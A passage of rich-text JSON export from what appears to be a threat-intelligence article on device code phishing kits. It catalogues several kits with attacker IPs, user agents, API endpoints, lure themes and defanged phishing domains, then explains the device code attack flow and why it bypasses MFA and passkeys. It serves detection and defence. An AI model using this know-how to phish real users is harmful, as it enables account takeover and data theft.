AS36352)",{"data":30792,"content":30793,"nodeType":866},{},[30794,30798,30801,30805],{"data":30795,"marks":30796,"value":30032,"nodeType":865},{},[30797],{"type":961},{"data":30799,"marks":30800,"value":2157,"nodeType":865},{},[],{"data":30802,"marks":30803,"value":3230,"nodeType":865},{},[30804],{"type":961},{"data":30806,"marks":30807,"value":30808,"nodeType":865},{},[],"python-httpx/0.28.1",{"data":30810,"content":30811,"nodeType":1869},{},[30812,30822],{"data":30813,"content":30814,"nodeType":1835},{},[30815],{"data":30816,"content":30817,"nodeType":866},{},[30818],{"data":30819,"marks":30820,"value":30074,"nodeType":865},{},[30821],{"type":961},{"data":30823,"content":30824,"nodeType":1835},{},[30825],{"data":30826,"content":30827,"nodeType":866},{},[30828],{"data":30829,"marks":30830,"value":30831,"nodeType":865},{},[],"GET /landing/api/session-status?session_id=&token=",{"data":30833,"content":30834,"nodeType":1869},{},[30835,30845],{"data":30836,"content":30837,"nodeType":1835},{},[30838],{"data":30839,"content":30840,"nodeType":866},{},[30841],{"data":30842,"marks":30843,"value":30126,"nodeType":865},{},[30844],{"type":961},{"data":30846,"content":30847,"nodeType":1835},{},[30848],{"data":30849,"content":30850,"nodeType":866},{},[30851],{"data":30852,"marks":30853,"value":30854,"nodeType":865},{},[],"Adobe Acrobat document sharing (PDF preview, sender avatar)",{"data":30856,"content":30857,"nodeType":1869},{},[30858,30868],{"data":30859,"content":30860,"nodeType":1835},{},[30861],{"data":30862,"content":30863,"nodeType":866},{},[30864],{"data":30865,"marks":30866,"value":30349,"nodeType":865},{},[30867],{"type":961},{"data":30869,"content":30870,"nodeType":1835},{},[30871],{"data":30872,"content":30873,"nodeType":866},{},[30874],{"data":30875,"marks":30876,"value":30877,"nodeType":865},{},[],"milosh-solibella-0dcio[.]sgttommy.workers.dev",{"data":30879,"content":30883,"nodeType":925},{"target":30880},{"sys":30881},{"id":30882,"type":922,"linkType":923},"6szO6IKJ32usyxIKX1efZy",[],{"data":30885,"content":30889,"nodeType":925},{"target":30886},{"sys":30887},{"id":30888,"type":922,"linkType":923},"lEqV3RTMIY8y011lnhX7P",[],{"data":30891,"content":30892,"nodeType":953},{},[],{"data":30894,"content":30895,"nodeType":1458},{},[30896],{"data":30897,"marks":30898,"value":30900,"nodeType":865},{},[30899],{"type":961},"“DOCUPOLL”",{"data":30902,"content":30903,"nodeType":2396},{},[30904,30927,30965,31002,31025],{"data":30905,"content":30906,"nodeType":1869},{},[30907,30917],{"data":30908,"content":30909,"nodeType":1835},{},[30910],{"data":30911,"content":30912,"nodeType":866},{},[30913],{"data":30914,"marks":30915,"value":29967,"nodeType":865},{},[30916],{"type":961},{"data":30918,"content":30919,"nodeType":1835},{},[30920],{"data":30921,"content":30922,"nodeType":866},{},[30923],{"data":30924,"marks":30925,"value":30926,"nodeType":865},{},[],"Github.io and workers.dev hosting",{"data":30928,"content":30929,"nodeType":1869},{},[30930,30940],{"data":30931,"content":30932,"nodeType":1835},{},[30933],{"data":30934,"content":30935,"nodeType":866},{},[30936],{"data":30937,"marks":30938,"value":29991,"nodeType":865},{},[30939],{"type":961},{"data":30941,"content":30942,"nodeType":1835},{},[30943,30954],{"data":30944,"content":30945,"nodeType":866},{},[30946,30950],{"data":30947,"marks":30948,"value":30466,"nodeType":865},{},[30949],{"type":961},{"data":30951,"marks":30952,"value":30953,"nodeType":865},{},[],"144.172.103.240 (FranTech Solutions / RouterHosting / Cloudzy AS14956)",{"data":30955,"content":30956,"nodeType":866},{},[30957,30961],{"data":30958,"marks":30959,"value":30032,"nodeType":865},{},[30960],{"type":961},{"data":30962,"marks":30963,"value":30964,"nodeType":865},{},[]," Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042",{"data":30966,"content":30967,"nodeType":1869},{},[30968,30978],{"data":30969,"content":30970,"nodeType":1835},{},[30971],{"data":30972,"content":30973,"nodeType":866},{},[30974],{"data":30975,"marks":30976,"value":30074,"nodeType":865},{},[30977],{"type":961},{"data":30979,"content":30980,"nodeType":1835},{},[30981,30988,30995],{"data":30982,"content":30983,"nodeType":866},{},[30984],{"data":30985,"marks":30986,"value":30987,"nodeType":865},{},[],"POST /api/v1/landing-pages/public/{slug}/init",{"data":30989,"content":30990,"nodeType":866},{},[30991],{"data":30992,"marks":30993,"value":30994,"nodeType":865},{},[],"POST .../poll",{"data":30996,"content":30997,"nodeType":866},{},[30998],{"data":30999,"marks":31000,"value":31001,"nodeType":865},{},[],"POST .../track",{"data":31003,"content":31004,"nodeType":1869},{},[31005,31015],{"data":31006,"content":31007,"nodeType":1835},{},[31008],{"data":31009,"content":31010,"nodeType":866},{},[31011],{"data":31012,"marks":31013,"value":30126,"nodeType":865},{},[31014],{"type":961},{"data":31016,"content":31017,"nodeType":1835},{},[31018],{"data":31019,"content":31020,"nodeType":866},{},[31021],{"data":31022,"marks":31023,"value":31024,"nodeType":865},{},[],"DocuSign document signing. One sample is a full scrape of real docusign.com (free-account page) with kit injected.",{"data":31026,"content":31027,"nodeType":1869},{},[31028,31038],{"data":31029,"content":31030,"nodeType":1835},{},[31031],{"data":31032,"content":31033,"nodeType":866},{},[31034],{"data":31035,"marks":31036,"value":30349,"nodeType":865},{},[31037],{"type":961},{"data":31039,"content":31040,"nodeType":1835},{},[31041],{"data":31042,"content":31043,"nodeType":866},{},[31044],{"data":31045,"marks":31046,"value":31047,"nodeType":865},{},[],"docufirmar[.]github.io",{"data":31049,"content":31053,"nodeType":925},{"target":31050},{"sys":31051},{"id":31052,"type":922,"linkType":923},"6Y1XABHnQD82R3MW80HnQZ",[],{"data":31055,"content":31056,"nodeType":953},{},[],{"data":31058,"content":31059,"nodeType":1458},{},[31060],{"data":31061,"marks":31062,"value":31064,"nodeType":865},{},[31063],{"type":961},"“FLOW_TOKEN”",{"data":31066,"content":31067,"nodeType":2396},{},[31068,31090,31135,31165,31188],{"data":31069,"content":31070,"nodeType":1869},{},[31071,31081],{"data":31072,"content":31073,"nodeType":1835},{},[31074],{"data":31075,"content":31076,"nodeType":866},{},[31077],{"data":31078,"marks":31079,"value":29967,"nodeType":865},{},[31080],{"type":961},{"data":31082,"content":31083,"nodeType":1835},{},[31084],{"data":31085,"content":31086,"nodeType":866},{},[31087],{"data":31088,"marks":31089,"value":30763,"nodeType":865},{},[],{"data":31091,"content":31092,"nodeType":1869},{},[31093,31103],{"data":31094,"content":31095,"nodeType":1835},{},[31096],{"data":31097,"content":31098,"nodeType":866},{},[31099],{"data":31100,"marks":31101,"value":29991,"nodeType":865},{},[31102],{"type":961},{"data":31104,"content":31105,"nodeType":1835},{},[31106,31117],{"data":31107,"content":31108,"nodeType":866},{},[31109,31113],{"data":31110,"marks":31111,"value":30466,"nodeType":865},{},[31112],{"type":961},{"data":31114,"marks":31115,"value":31116,"nodeType":865},{},[],"43.166.163.163 (Tencent Cloud AS132203)",{"data":31118,"content":31119,"nodeType":866},{},[31120,31124,31127,31131],{"data":31121,"marks":31122,"value":30032,"nodeType":865},{},[31123],{"type":961},{"data":31125,"marks":31126,"value":2157,"nodeType":865},{},[],{"data":31128,"marks":31129,"value":3230,"nodeType":865},{},[31130],{"type":961},{"data":31132,"marks":31133,"value":31134,"nodeType":865},{},[],"(null)",{"data":31136,"content":31137,"nodeType":1869},{},[31138,31148],{"data":31139,"content":31140,"nodeType":1835},{},[31141],{"data":31142,"content":31143,"nodeType":866},{},[31144],{"data":31145,"marks":31146,"value":30074,"nodeType":865},{},[31147],{"type":961},{"data":31149,"content":31150,"nodeType":1835},{},[31151,31158],{"data":31152,"content":31153,"nodeType":866},{},[31154],{"data":31155,"marks":31156,"value":31157,"nodeType":865},{},[],"POST /api/handler.php ",{"data":31159,"content":31160,"nodeType":866},{},[31161],{"data":31162,"marks":31163,"value":31164,"nodeType":865},{},[],"(actions: device_code_generate, device_code_poll_public)",{"data":31166,"content":31167,"nodeType":1869},{},[31168,31178],{"data":31169,"content":31170,"nodeType":1835},{},[31171],{"data":31172,"content":31173,"nodeType":866},{},[31174],{"data":31175,"marks":31176,"value":30126,"nodeType":865},{},[31177],{"type":961},{"data":31179,"content":31180,"nodeType":1835},{},[31181],{"data":31182,"content":31183,"nodeType":866},{},[31184],{"data":31185,"marks":31186,"value":31187,"nodeType":865},{},[],"DocuSign \"Salary Adjustment Document — 2026\", Microsoft banner · HR Department sender",{"data":31189,"content":31190,"nodeType":1869},{},[31191,31201],{"data":31192,"content":31193,"nodeType":1835},{},[31194],{"data":31195,"content":31196,"nodeType":866},{},[31197],{"data":31198,"marks":31199,"value":30349,"nodeType":865},{},[31200],{"type":961},{"data":31202,"content":31203,"nodeType":1835},{},[31204],{"data":31205,"content":31206,"nodeType":866},{},[31207],{"data":31208,"marks":31209,"value":31210,"nodeType":865},{},[],"salaryadjustment-2afb52.pmb6fefc52b3f9aa5c2dbf[.]workers.dev",{"data":31212,"content":31216,"nodeType":925},{"target":31213},{"sys":31214},{"id":31215,"type":922,"linkType":923},"6xiTDHStbiJh7LMhjAZcPd",[],{"data":31218,"content":31219,"nodeType":953},{},[],{"data":31221,"content":31222,"nodeType":1458},{},[31223],{"data":31224,"marks":31225,"value":31227,"nodeType":865},{},[31226],{"type":961},"“PAPRIKA”",{"data":31229,"content":31230,"nodeType":2396},{},[31231,31254,31277,31300],{"data":31232,"content":31233,"nodeType":1869},{},[31234,31244],{"data":31235,"content":31236,"nodeType":1835},{},[31237],{"data":31238,"content":31239,"nodeType":866},{},[31240],{"data":31241,"marks":31242,"value":29967,"nodeType":865},{},[31243],{"type":961},{"data":31245,"content":31246,"nodeType":1835},{},[31247],{"data":31248,"content":31249,"nodeType":866},{},[31250],{"data":31251,"marks":31252,"value":31253,"nodeType":865},{},[],"AWS S3 hosting",{"data":31255,"content":31256,"nodeType":1869},{},[31257,31267],{"data":31258,"content":31259,"nodeType":1835},{},[31260],{"data":31261,"content":31262,"nodeType":866},{},[31263],{"data":31264,"marks":31265,"value":30074,"nodeType":865},{},[31266],{"type":961},{"data":31268,"content":31269,"nodeType":1835},{},[31270],{"data":31271,"content":31272,"nodeType":866},{},[31273],{"data":31274,"marks":31275,"value":31276,"nodeType":865},{},[],"POST /api/v1/loader",{"data":31278,"content":31279,"nodeType":1869},{},[31280,31290],{"data":31281,"content":31282,"nodeType":1835},{},[31283],{"data":31284,"content":31285,"nodeType":866},{},[31286],{"data":31287,"marks":31288,"value":30126,"nodeType":865},{},[31289],{"type":961},{"data":31291,"content":31292,"nodeType":1835},{},[31293],{"data":31294,"content":31295,"nodeType":866},{},[31296],{"data":31297,"marks":31298,"value":31299,"nodeType":865},{},[],"MS login clone (\"Sign in to your account\"), \"Office 365\" branding, fake \"Powered by Okta\" footer",{"data":31301,"content":31302,"nodeType":1869},{},[31303,31313],{"data":31304,"content":31305,"nodeType":1835},{},[31306],{"data":31307,"content":31308,"nodeType":866},{},[31309],{"data":31310,"marks":31311,"value":30349,"nodeType":865},{},[31312],{"type":961},{"data":31314,"content":31315,"nodeType":1835},{},[31316],{"data":31317,"content":31318,"nodeType":866},{},[31319],{"data":31320,"marks":31321,"value":31322,"nodeType":865},{},[],"redirect-523346-d95027ec[.]s3.amazonaws.com",{"data":31324,"content":31328,"nodeType":925},{"target":31325},{"sys":31326},{"id":31327,"type":922,"linkType":923},"6WFXqUDzcJHKWSwVIcDZAf",[],{"data":31330,"content":31331,"nodeType":953},{},[],{"data":31333,"content":31334,"nodeType":1458},{},[31335],{"data":31336,"marks":31337,"value":31339,"nodeType":865},{},[31338],{"type":961},"“DCSTATUS”",{"data":31341,"content":31342,"nodeType":2396},{},[31343,31365,31388,31411],{"data":31344,"content":31345,"nodeType":1869},{},[31346,31356],{"data":31347,"content":31348,"nodeType":1835},{},[31349],{"data":31350,"content":31351,"nodeType":866},{},[31352],{"data":31353,"marks":31354,"value":29967,"nodeType":865},{},[31355],{"type":961},{"data":31357,"content":31358,"nodeType":1835},{},[31359],{"data":31360,"content":31361,"nodeType":866},{},[31362],{"data":31363,"marks":31364,"value":30250,"nodeType":865},{},[],{"data":31366,"content":31367,"nodeType":1869},{},[31368,31378],{"data":31369,"content":31370,"nodeType":1835},{},[31371],{"data":31372,"content":31373,"nodeType":866},{},[31374],{"data":31375,"marks":31376,"value":30074,"nodeType":865},{},[31377],{"type":961},{"data":31379,"content":31380,"nodeType":1835},{},[31381],{"data":31382,"content":31383,"nodeType":866},{},[31384],{"data":31385,"marks":31386,"value":31387,"nodeType":865},{},[],"GET /dc/status/{base64url_sid}",{"data":31389,"content":31390,"nodeType":1869},{},[31391,31401],{"data":31392,"content":31393,"nodeType":1835},{},[31394],{"data":31395,"content":31396,"nodeType":866},{},[31397],{"data":31398,"marks":31399,"value":30126,"nodeType":865},{},[31400],{"type":961},{"data":31402,"content":31403,"nodeType":1835},{},[31404],{"data":31405,"content":31406,"nodeType":866},{},[31407],{"data":31408,"marks":31409,"value":31410,"nodeType":865},{},[],"Generic \"Microsoft 365 - Secure Access\" verification page",{"data":31412,"content":31413,"nodeType":1869},{},[31414,31424],{"data":31415,"content":31416,"nodeType":1835},{},[31417],{"data":31418,"content":31419,"nodeType":866},{},[31420],{"data":31421,"marks":31422,"value":30349,"nodeType":865},{},[31423],{"type":961},{"data":31425,"content":31426,"nodeType":1835},{},[31427],{"data":31428,"content":31429,"nodeType":866},{},[31430],{"data":31431,"marks":31432,"value":31433,"nodeType":865},{},[],"owa[.]apmmacleans[.]ca",{"data":31435,"content":31439,"nodeType":925},{"target":31436},{"sys":31437},{"id":31438,"type":922,"linkType":923},"ugYhHeXY1lQdKooALmrIs",[],{"data":31441,"content":31442,"nodeType":953},{},[],{"data":31444,"content":31445,"nodeType":1458},{},[31446],{"data":31447,"marks":31448,"value":31450,"nodeType":865},{},[31449],{"type":961},"“DOLCE”",{"data":31452,"content":31456,"nodeType":925},{"target":31453},{"sys":31454},{"id":31455,"type":922,"linkType":923},"7TzU6kk01Un45NB0buEz2",[],{"data":31458,"content":31459,"nodeType":2396},{},[31460,31483,31521,31544,31567],{"data":31461,"content":31462,"nodeType":1869},{},[31463,31473],{"data":31464,"content":31465,"nodeType":1835},{},[31466],{"data":31467,"content":31468,"nodeType":866},{},[31469],{"data":31470,"marks":31471,"value":29967,"nodeType":865},{},[31472],{"type":961},{"data":31474,"content":31475,"nodeType":1835},{},[31476],{"data":31477,"content":31478,"nodeType":866},{},[31479],{"data":31480,"marks":31481,"value":31482,"nodeType":865},{},[],"Microsoft PowerApps hosting",{"data":31484,"content":31485,"nodeType":1869},{},[31486,31496],{"data":31487,"content":31488,"nodeType":1835},{},[31489],{"data":31490,"content":31491,"nodeType":866},{},[31492],{"data":31493,"marks":31494,"value":29991,"nodeType":865},{},[31495],{"type":961},{"data":31497,"content":31498,"nodeType":1835},{},[31499,31510],{"data":31500,"content":31501,"nodeType":866},{},[31502,31506],{"data":31503,"marks":31504,"value":30466,"nodeType":865},{},[31505],{"type":961},{"data":31507,"marks":31508,"value":31509,"nodeType":865},{},[],"34.53.159.84 (Google Cloud AS396982)",{"data":31511,"content":31512,"nodeType":866},{},[31513,31517],{"data":31514,"marks":31515,"value":30032,"nodeType":865},{},[31516],{"type":961},{"data":31518,"marks":31519,"value":31520,"nodeType":865},{},[]," Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36",{"data":31522,"content":31523,"nodeType":1869},{},[31524,31534],{"data":31525,"content":31526,"nodeType":1835},{},[31527],{"data":31528,"content":31529,"nodeType":866},{},[31530],{"data":31531,"marks":31532,"value":30074,"nodeType":865},{},[31533],{"type":961},{"data":31535,"content":31536,"nodeType":1835},{},[31537],{"data":31538,"content":31539,"nodeType":866},{},[31540],{"data":31541,"marks":31542,"value":31543,"nodeType":865},{},[],"GET /api/generatecode (CloudFront)",{"data":31545,"content":31546,"nodeType":1869},{},[31547,31557],{"data":31548,"content":31549,"nodeType":1835},{},[31550],{"data":31551,"content":31552,"nodeType":866},{},[31553],{"data":31554,"marks":31555,"value":30126,"nodeType":865},{},[31556],{"type":961},{"data":31558,"content":31559,"nodeType":1835},{},[31560],{"data":31561,"content":31562,"nodeType":866},{},[31563],{"data":31564,"marks":31565,"value":31566,"nodeType":865},{},[],"Dolce & Gabbana branded, Italian language, MS account verification",{"data":31568,"content":31569,"nodeType":1869},{},[31570,31580],{"data":31571,"content":31572,"nodeType":1835},{},[31573],{"data":31574,"content":31575,"nodeType":866},{},[31576],{"data":31577,"marks":31578,"value":30349,"nodeType":865},{},[31579],{"type":961},{"data":31581,"content":31582,"nodeType":1835},{},[31583],{"data":31584,"content":31585,"nodeType":866},{},[31586],{"data":31587,"marks":31588,"value":31589,"nodeType":865},{},[],"data-migration-dolcegabbana[.]powerappsportals.com",{"data":31591,"content":31595,"nodeType":925},{"target":31592},{"sys":31593},{"id":31594,"type":922,"linkType":923},"4ayQDvpf5NNOBrj9wZZRiO",[],{"data":31597,"content":31598,"nodeType":953},{},[],{"data":31600,"content":31601,"nodeType":1458},{},[31602],{"data":31603,"marks":31604,"value":31606,"nodeType":865},{},[31605],{"type":961},"Venom",{"data":31608,"content":31609,"nodeType":2396},{},[31610,31633],{"data":31611,"content":31612,"nodeType":1869},{},[31613,31623],{"data":31614,"content":31615,"nodeType":1835},{},[31616],{"data":31617,"content":31618,"nodeType":866},{},[31619],{"data":31620,"marks":31621,"value":30074,"nodeType":865},{},[31622],{"type":961},{"data":31624,"content":31625,"nodeType":1835},{},[31626],{"data":31627,"content":31628,"nodeType":866},{},[31629],{"data":31630,"marks":31631,"value":31632,"nodeType":865},{},[],"POST /token/api/device/start\nGET /token/api/device/status/{sessionId}",{"data":31634,"content":31635,"nodeType":1869},{},[31636,31646],{"data":31637,"content":31638,"nodeType":1835},{},[31639],{"data":31640,"content":31641,"nodeType":866},{},[31642],{"data":31643,"marks":31644,"value":30126,"nodeType":865},{},[31645],{"type":961},{"data":31647,"content":31648,"nodeType":1835},{},[31649],{"data":31650,"content":31651,"nodeType":866},{},[31652],{"data":31653,"marks":31654,"value":31655,"nodeType":865},{},[],"Various: examples include DocuSign \"Verification\" (Microsoft sign-in pretext); DHL \"Delivery Checkpoint\" package shipment pretext",{"data":31657,"content":31661,"nodeType":925},{"target":31658},{"sys":31659},{"id":31660,"type":922,"linkType":923},"79C3fces0hgTdf3G68cIrf",[],{"data":31663,"content":31664,"nodeType":953},{},[],{"data":31666,"content":31667,"nodeType":1458},{},[31668],{"data":31669,"marks":31670,"value":31672,"nodeType":865},{},[31671],{"type":961},"Tycoon2FA",{"data":31674,"content":31675,"nodeType":2396},{},[31676,31706,31743,31766,31789],{"data":31677,"content":31678,"nodeType":1869},{},[31679,31689],{"data":31680,"content":31681,"nodeType":1835},{},[31682],{"data":31683,"content":31684,"nodeType":866},{},[31685],{"data":31686,"marks":31687,"value":29967,"nodeType":865},{},[31688],{"type":961},{"data":31690,"content":31691,"nodeType":1835},{},[31692,31699],{"data":31693,"content":31694,"nodeType":866},{},[31695],{"data":31696,"marks":31697,"value":31698,"nodeType":865},{},[],"Github.io and Cloudflare Workers (workers.dev) hosting",{"data":31700,"content":31701,"nodeType":866},{},[31702],{"data":31703,"marks":31704,"value":31705,"nodeType":865},{},[],"Compromised-site landing pages and CF Workers (*.workers.dev) used as frontends; victim email passed in URL as last path segment ($base64) or ?acct/?encoded query",{"data":31707,"content":31708,"nodeType":1869},{},[31709,31719],{"data":31710,"content":31711,"nodeType":1835},{},[31712],{"data":31713,"content":31714,"nodeType":866},{},[31715],{"data":31716,"marks":31717,"value":29991,"nodeType":865},{},[31718],{"type":961},{"data":31720,"content":31721,"nodeType":1835},{},[31722,31733],{"data":31723,"content":31724,"nodeType":866},{},[31725,31729],{"data":31726,"marks":31727,"value":30466,"nodeType":865},{},[31728],{"type":961},{"data":31730,"marks":31731,"value":31732,"nodeType":865},{},[],"47.253.5.88 (Alibaba Cloud)",{"data":31734,"content":31735,"nodeType":866},{},[31736,31740],{"data":31737,"marks":31738,"value":30032,"nodeType":865},{},[31739],{"type":961},{"data":31741,"marks":31742,"value":30289,"nodeType":865},{},[],{"data":31744,"content":31745,"nodeType":1869},{},[31746,31756],{"data":31747,"content":31748,"nodeType":1835},{},[31749],{"data":31750,"content":31751,"nodeType":866},{},[31752],{"data":31753,"marks":31754,"value":30074,"nodeType":865},{},[31755],{"type":961},{"data":31757,"content":31758,"nodeType":1835},{},[31759],{"data":31760,"content":31761,"nodeType":866},{},[31762],{"data":31763,"marks":31764,"value":31765,"nodeType":865},{},[],"GET /api/session/{UUIDv4} polled with header X-API-Key: \u003Cprefix>_\u003C64-hex> (key materialised at runtime via atob(window.__cyb3r.k)) \nPOST /api/device-code with body {\"prt_foci_session_id\": \"\u003CUUID>\"} (second-stage code retrieval after initial session error)",{"data":31767,"content":31768,"nodeType":1869},{},[31769,31779],{"data":31770,"content":31771,"nodeType":1835},{},[31772],{"data":31773,"content":31774,"nodeType":866},{},[31775],{"data":31776,"marks":31777,"value":30126,"nodeType":865},{},[31778],{"type":961},{"data":31780,"content":31781,"nodeType":1835},{},[31782],{"data":31783,"content":31784,"nodeType":866},{},[31785],{"data":31786,"marks":31787,"value":31788,"nodeType":865},{},[],"Various: SharePoint \"Remittance Advice\"; Microsoft 365 generic sign-in; Microsoft 365 Voicemail (.mp3 attachment); OneDrive \"Shared file\"; German \"Sicheres Dokumentenportal\" PDF lure",{"data":31790,"content":31791,"nodeType":1869},{},[31792,31802],{"data":31793,"content":31794,"nodeType":1835},{},[31795],{"data":31796,"content":31797,"nodeType":866},{},[31798],{"data":31799,"marks":31800,"value":30349,"nodeType":865},{},[31801],{"type":961},{"data":31803,"content":31804,"nodeType":1835},{},[31805],{"data":31806,"content":31807,"nodeType":866},{},[31808],{"data":31809,"marks":31810,"value":31811,"nodeType":865},{},[],"afriqbeauglobal[.]com/homepage/index[.]html",{"data":31813,"content":31816,"nodeType":925},{"target":31814},{"sys":31815},{"id":10964,"type":922,"linkType":923},[],{"data":31818,"content":31819,"nodeType":953},{},[],{"data":31821,"content":31822,"nodeType":1458},{},[31823],{"data":31824,"marks":31825,"value":31827,"nodeType":865},{},[31826],{"type":961},"\"CYB3R\"",{"data":31829,"content":31830,"nodeType":2396},{},[31831,31854,31892,31914,31937],{"data":31832,"content":31833,"nodeType":1869},{},[31834,31844],{"data":31835,"content":31836,"nodeType":1835},{},[31837],{"data":31838,"content":31839,"nodeType":866},{},[31840],{"data":31841,"marks":31842,"value":29967,"nodeType":865},{},[31843],{"type":961},{"data":31845,"content":31846,"nodeType":1835},{},[31847],{"data":31848,"content":31849,"nodeType":866},{},[31850],{"data":31851,"marks":31852,"value":31853,"nodeType":865},{},[],"Cloudflare Workers (workers.dev) hosting",{"data":31855,"content":31856,"nodeType":1869},{},[31857,31867],{"data":31858,"content":31859,"nodeType":1835},{},[31860],{"data":31861,"content":31862,"nodeType":866},{},[31863],{"data":31864,"marks":31865,"value":29991,"nodeType":865},{},[31866],{"type":961},{"data":31868,"content":31869,"nodeType":1835},{},[31870,31881],{"data":31871,"content":31872,"nodeType":866},{},[31873,31877],{"data":31874,"marks":31875,"value":30466,"nodeType":865},{},[31876],{"type":961},{"data":31878,"marks":31879,"value":31880,"nodeType":865},{},[],"2400:8d60:2::1:c116:843e (Evoxt VPS)",{"data":31882,"content":31883,"nodeType":866},{},[31884,31888],{"data":31885,"marks":31886,"value":30032,"nodeType":865},{},[31887],{"type":961},{"data":31889,"marks":31890,"value":31891,"nodeType":865},{},[]," axios/1.13.6",{"data":31893,"content":31894,"nodeType":1869},{},[31895,31905],{"data":31896,"content":31897,"nodeType":1835},{},[31898],{"data":31899,"content":31900,"nodeType":866},{},[31901],{"data":31902,"marks":31903,"value":30074,"nodeType":865},{},[31904],{"type":961},{"data":31906,"content":31907,"nodeType":1835},{},[31908],{"data":31909,"content":31910,"nodeType":866},{},[31911],{"data":31912,"marks":31913,"value":31765,"nodeType":865},{},[],{"data":31915,"content":31916,"nodeType":1869},{},[31917,31927],{"data":31918,"content":31919,"nodeType":1835},{},[31920],{"data":31921,"content":31922,"nodeType":866},{},[31923],{"data":31924,"marks":31925,"value":30126,"nodeType":865},{},[31926],{"type":961},{"data":31928,"content":31929,"nodeType":1835},{},[31930],{"data":31931,"content":31932,"nodeType":866},{},[31933],{"data":31934,"marks":31935,"value":31936,"nodeType":865},{},[],"DocuSign in Spanish (\"Documento Firmar — COTIZACIÓN/ESTIMACIÓN.pdf\", \"Complete su firma\", \"Verifique su identidad\", \"Continuar a Microsoft\").",{"data":31938,"content":31939,"nodeType":1869},{},[31940,31950],{"data":31941,"content":31942,"nodeType":1835},{},[31943],{"data":31944,"content":31945,"nodeType":866},{},[31946],{"data":31947,"marks":31948,"value":30349,"nodeType":865},{},[31949],{"type":961},{"data":31951,"content":31952,"nodeType":1835},{},[31953],{"data":31954,"content":31955,"nodeType":866},{},[31956],{"data":31957,"marks":31958,"value":31959,"nodeType":865},{},[],"muzagestion[.]secure-share[.]workers.dev",{"data":31961,"content":31965,"nodeType":925},{"target":31962},{"sys":31963},{"id":31964,"type":922,"linkType":923},"5EU0QNteiQcYybKG1W1cS3",[],{"data":31967,"content":31968,"nodeType":953},{},[],{"data":31970,"content":31971,"nodeType":963},{},[31972],{"data":31973,"marks":31974,"value":31976,"nodeType":865},{},[31975],{"type":961},"Device code phishing under the hood",{"data":31978,"content":31979,"nodeType":866},{},[31980,31984],{"data":31981,"marks":31982,"value":31983,"nodeType":865},{},[],"The attacker POSTs to the authorization server's device authorization endpoint with its client_id (i.e. an application ID) and requested scopes or resources. The server responds with a device_code (used for polling), a user_code, a verification_uri, an expires_in value, and a polling interval. The user visits the URL, enters the code and approves the request. Meanwhile, the device polls the token endpoint. Once approved, the server returns an access token, a refresh token (if offline_access was requested), and an ID token (if openid was included). ",{"data":31985,"marks":31986,"value":31988,"nodeType":865},{},[31987],{"type":961},"The attacker now has API access to the victim's account. ",{"data":31990,"content":31991,"nodeType":866},{},[31992],{"data":31993,"marks":31994,"value":31995,"nodeType":865},{},[],"Broadly, this gives the attacker a comparable level of control to a “normal” phishing attack (with conditions based on the scopes granted and specific app being targeted) while API access grants additional capabilities beyond standard browser sessions. When combined with other techniques, this access can be exchanged to open normal browser app sessions and access SSO connected apps.",{"data":31997,"content":32001,"nodeType":925},{"target":31998},{"sys":31999},{"id":32000,"type":922,"linkType":923},"4WtQR2xsE236yoyhSXj58Z",[],{"data":32003,"content":32007,"nodeType":925},{"target":32004},{"sys":32005},{"id":32006,"type":922,"linkType":923},"1x7Lip7JdY2xlHKKurT7qJ",[],{"data":32009,"content":32010,"nodeType":866},{},[32011],{"data":32012,"marks":32013,"value":32014,"nodeType":865},{},[],"At this point, you can achieve a number of objectives both inside the app ecosystem and across SSO connected apps — e.g. data theft, disruption, and ultimately extortion.",{"data":32016,"content":32017,"nodeType":866},{},[32018,32022,32027,32031],{"data":32019,"marks":32020,"value":32021,"nodeType":865},{},[],"Critically, the initial request to generate a device code is typically ",{"data":32023,"marks":32024,"value":32026,"nodeType":865},{},[32025],{"type":961},"unauthenticated",{"data":32028,"marks":32029,"value":32030,"nodeType":865},{},[]," across all providers — ",{"data":32032,"marks":32033,"value":32035,"nodeType":865},{},[32034],{"type":961},"anyone can generate one, from any machine, without proving any relationship to the target organization.",{"data":32037,"content":32038,"nodeType":866},{},[32039,32043,32048],{"data":32040,"marks":32041,"value":32042,"nodeType":865},{},[],"So, the attacker has to deliver a set of instructions via a phishing channel (e.g. email, social media DM, corp IM platform, and so on) with a device code that they have generated. The victim then enters this code on the ",{"data":32044,"marks":32045,"value":32047,"nodeType":865},{},[32046],{"type":961},"legitimate device code login page",{"data":32049,"marks":32050,"value":32051,"nodeType":865},{},[]," for that app and issues the tokens to the attacker.",{"data":32053,"content":32057,"nodeType":925},{"target":32054},{"sys":32055},{"id":32056,"type":922,"linkType":923},"1txUYuQjH9FlbDGTo8AbZB",[],{"data":32059,"content":32060,"nodeType":953},{},[],{"data":32062,"content":32063,"nodeType":963},{},[32064],{"data":32065,"marks":32066,"value":32068,"nodeType":865},{},[32067],{"type":961},"Why device code phishing is so dangerous",{"data":32070,"content":32071,"nodeType":1458},{},[32072],{"data":32073,"marks":32074,"value":32076,"nodeType":865},{},[32075],{"type":961},"Device code phishing bypasses authentication controls (including passkeys)",{"data":32078,"content":32079,"nodeType":866},{},[32080,32084,32089,32093],{"data":32081,"marks":32082,"value":32083,"nodeType":865},{},[],"A device code phishing attack ",{"data":32085,"marks":32086,"value":32088,"nodeType":865},{},[32087],{"type":961},"cannot be prevented with authentication controls",{"data":32090,"marks":32091,"value":32092,"nodeType":865},{},[],". This includes all forms of MFA and ",{"data":32094,"marks":32095,"value":32097,"nodeType":865},{},[32096],{"type":961},"even “phishing-resistant” authentication methods such as passkeys. ",{"data":32099,"content":32100,"nodeType":866},{},[32101,32106,32110,32115],{"data":32102,"marks":32103,"value":32105,"nodeType":865},{},[32104],{"type":961},"The device code authorization is effectively performed post-authentication. ",{"data":32107,"marks":32108,"value":32109,"nodeType":865},{},[],"If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. ",{"data":32111,"marks":32112,"value":32114,"nodeType":865},{},[32113],{"type":961},"No password or MFA required. ",{"data":32116,"marks":32117,"value":32118,"nodeType":865},{},[],"You can see an example in the video below.",{"data":32120,"content":32123,"nodeType":925},{"target":32121},{"sys":32122},{"id":31052,"type":922,"linkType":923},[],{"data":32125,"content":32126,"nodeType":866},{},[32127],{"data":32128,"marks":32129,"value":32130,"nodeType":865},{},[],"Even if you do have to sign in again (because you're not already signed in for some reason), the attack still works because it isn't 